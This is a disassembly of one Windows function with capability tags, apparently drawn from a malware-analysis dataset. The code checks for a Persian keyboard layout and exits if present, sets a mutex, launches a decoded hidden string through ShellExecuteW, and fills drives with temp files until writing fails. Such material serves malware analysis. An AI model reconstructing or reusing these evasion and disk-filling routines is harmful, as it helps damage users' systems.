Function at 0x140022930
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Get common file path
Get disk information
Get keyboard layout
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x278]
sub rsp, 0x350
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x140134190]
xor rax, rsp
mov qword [rbp + 0x240], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
movsxd rbx, eax
mov eax, 8
mul rbx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14007cc14
mov rdi, rax
mov qword [rbp - 0x60], rax
mov qword [rbp + 0x28], rax
mov rdx, rax
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
test eax, eax
je 0x1400229d2
test ebx, ebx
jle 0x1400229d2
xor eax, eax
mov ecx, 0x429
nop dword [rax]
cmp word [rdi + rax*8], cx
je 0x140022b3e
inc rax
cmp rax, rbx
jl 0x1400229c0
test rdi, rdi
je 0x1400229e4
mov edx, 8
mov rcx, rdi
call fcn.14007c4f0
call fcn.140049af0
xor eax, eax
mov qword [rbp - 0x48], rax
movdqa xmm0, xmmword [0x140113d30]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], al
lea r8d, [rax + 0x24]
lea rdx, [0x1401125e0]
lea rcx, [rsp + 0x58]
call fcn.140023110
lea r8, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae r8, qword [rsp + 0x58]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov qword [rbp - 0x50], rax
call qword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
setne byte [rbp - 0x48]
lea rcx, [rsp + 0x58]
call fcn.140023090
call fcn.1400228e0
movsx r15d, al
call fcn.1400228d0
movsx ecx, al
imul r15d, ecx
call fcn.140022910
movsx r12d, al
lea eax, [r15 + r15*2]
lea r13d, [r12 + rax*2]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r13d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14013d4f5]
cmp eax, ecx
je 0x140022bda
movsx ecx, byte [0x14013d4f4]
movd xmm1, ecx
cvtdq2pd xmm1, xmm1
movsx ecx, byte [0x14013d4f6]
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xor eax, eax
cmp byte [rbp - 0x48], al
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea edx, [r15 + r15*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r12d
lea eax, [rax + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14013d4f5]
cmp eax, ecx
je 0x140022b4a
call fcn.1400228f0
movsx edx, al
movsx eax, byte [0x140146dc0]
imul edx, eax
lea edx, [rdx + rdx*4]
call fcn.140022920
movsx ecx, al
sub edx, ecx
call fcn.140022900
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14013d4f6]
add ecx, edx
je 0x140022b4a
mov r9d, 0xa
jmp 0x140022ba5
mov ecx, 1
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r12d
lea eax, [rax + r15*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14013d4f5]
cmp eax, ecx
je 0x140022ba1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r13d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14013d4f5]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si r9d, xmm0
jmp 0x140022ba5
mov r9d, dword [rbp - 0x58]
imul eax, r15d, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r12d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14013d4f5]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x140022bda
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
call fcn.1400540f0
call fcn.140027060
call fcn.14004acd0
lea rcx, [rbp - 0x20]
call fcn.140040cf0
nop
mov rdi, qword [rbp - 0x18]
mov rbx, qword [rbp - 0x20]
cmp rbx, rdi
je 0x140022c11
mov rcx, rbx
call fcn.140049830
add rbx, 0x20
cmp rbx, rdi
jne 0x140022c00
lea rcx, [rbp - 0x20]
call fcn.1400352f0
call fcn.14004a140
call fcn.14004f740
call fcn.140050010
call fcn.140050d00
call fcn.140053a40
call fcn.14004c330
lea rcx, [rbp - 8]
call fcn.1400413d0
nop
mov rdi, qword [rbp]
mov rbx, qword [rbp - 8]
cmp rbx, rdi
je 0x140022c61
nop
mov rcx, rbx
call fcn.14004cf10
add rbx, 0x20
cmp rbx, rdi
jne 0x140022c50
lea rcx, [rbp - 8]
call fcn.1400352f0
call fcn.1400333f0
call fcn.140027b50
call fcn.14004b0e0
call fcn.14004e600
call fcn.14004d430
call fcn.14004fbb0
call fcn.1400505f0
lea rcx, [rbp - 0x80]
call fcn.14003bfe0
mov r8, rax
cmp qword [rax + 0x18], 8
jb 0x140022ca3
mov r8, qword [rax]
mov byte [rsp + 0x40], 0
mov byte [rsp + 0x41], 0x6a
mov byte [rsp + 0x42], 6
mov byte [rsp + 0x43], 0x44
mov byte [rsp + 0x44], 6
mov byte [rsp + 0x45], 0x69
mov byte [rsp + 0x46], 6
mov byte [rsp + 0x47], 0x11
mov byte [rsp + 0x48], 6
mov byte [rsp + 0x49], 6
mov byte [rsp + 0x4a], 6
movzx eax, byte [rsp + 0x41]
movzx eax, byte [rsp + 0x40]
test al, al
jne 0x140022d48
xor r10d, r10d
nop dword [rax + rax]
movzx ecx, byte [rsp + r10 + 0x41]
sub ecx, 6
lea r9d, [rcx + rcx*4]
add r9d, r9d
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r9d, eax
add r9d, 0x7f
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r9d, eax
mov byte [rsp + r10 + 0x41], r9b
inc r10
cmp r10, 0xa
jb 0x140022cf0
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea rdx, [rsp + 0x41]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp - 0x80]
call fcn.14002cde0
lea rcx, [rbp + 0x10]
call fcn.140033290
nop
mov r14, qword [rbp + 0x18]
mov rbx, qword [rbp + 0x10]
cmp rbx, r14
je 0x140022ea6
nop dword [rax]
lea r8, [0x140112e18]
mov rdx, rbx
lea rcx, [rbp - 0x40]
call fcn.140035410
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 8
cmovae rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 1
ja 0x140022e90
mov rcx, rbx
cmp qword [rbx + 0x18], 8
jb 0x140022dd0
mov rcx, qword [rbx]
lea r9, [rbp + 0x30]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_GetTempFileNameW]
test eax, eax
je 0x140022e90
call qword [sym.imp.KERNEL32.DLL_GetCurrentThread]
mov rcx, rax
mov edx, 2
call qword [sym.imp.KERNEL32.DLL_SetThreadPriority]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x24000002
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140022e90
mov edx, 0x80000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rsi, rax
nop dword [rax]
mov qword [rsp + 0x20], 0
lea r9, [rbp - 0x58]
mov r8d, 0x80000
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x140022e50
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, 0x80000
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
lea rcx, [rbp - 0x40]
call fcn.14002cde0
add rbx, 0x20
cmp rbx, r14
jne 0x140022d90
lea rcx, [rbp + 0x10]
call fcn.1400352f0
call fcn.140050930
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r12d
lea eax, [rax + r15*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14013d4f5]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx ecx, byte [0x14013d4f4]
movd xmm1, ecx
cvtdq2pd xmm1, xmm1
movsx ecx, byte [0x14013d4f6]
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
lea edx, [r15 + r15*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r12d
lea eax, [rax + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14013d4f5]
cmp eax, ecx
je 0x140022f69
call fcn.1400228f0
movsx edx, al
movsx eax, byte [0x140146dc0]
imul edx, eax
lea edx, [rdx + rdx*4]
call fcn.140022920
movsx ecx, al
sub edx, ecx
call fcn.140022900
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14013d4f6]
add ecx, edx
jne 0x140022fc6
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r12d
lea eax, [rax + r15*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14013d4f5]
cmp eax, ecx
je 0x140022fbf
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r13d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14013d4f5]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x140022fc2
mov eax, dword [rbp - 0x58]
test eax, eax
jle 0x140022fe6
mov rbx, qword [rbp - 0x50]
cmp byte [rbp - 0x48], 0
je 0x140022fd9
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_ReleaseMutex]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x140023002
mov rbx, qword [rbp - 0x50]
cmp byte [rbp - 0x48], 0
je 0x140022ff9
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_ReleaseMutex]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.14007c490
lea r11, [rsp + 0x350]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
jmp 0x140022930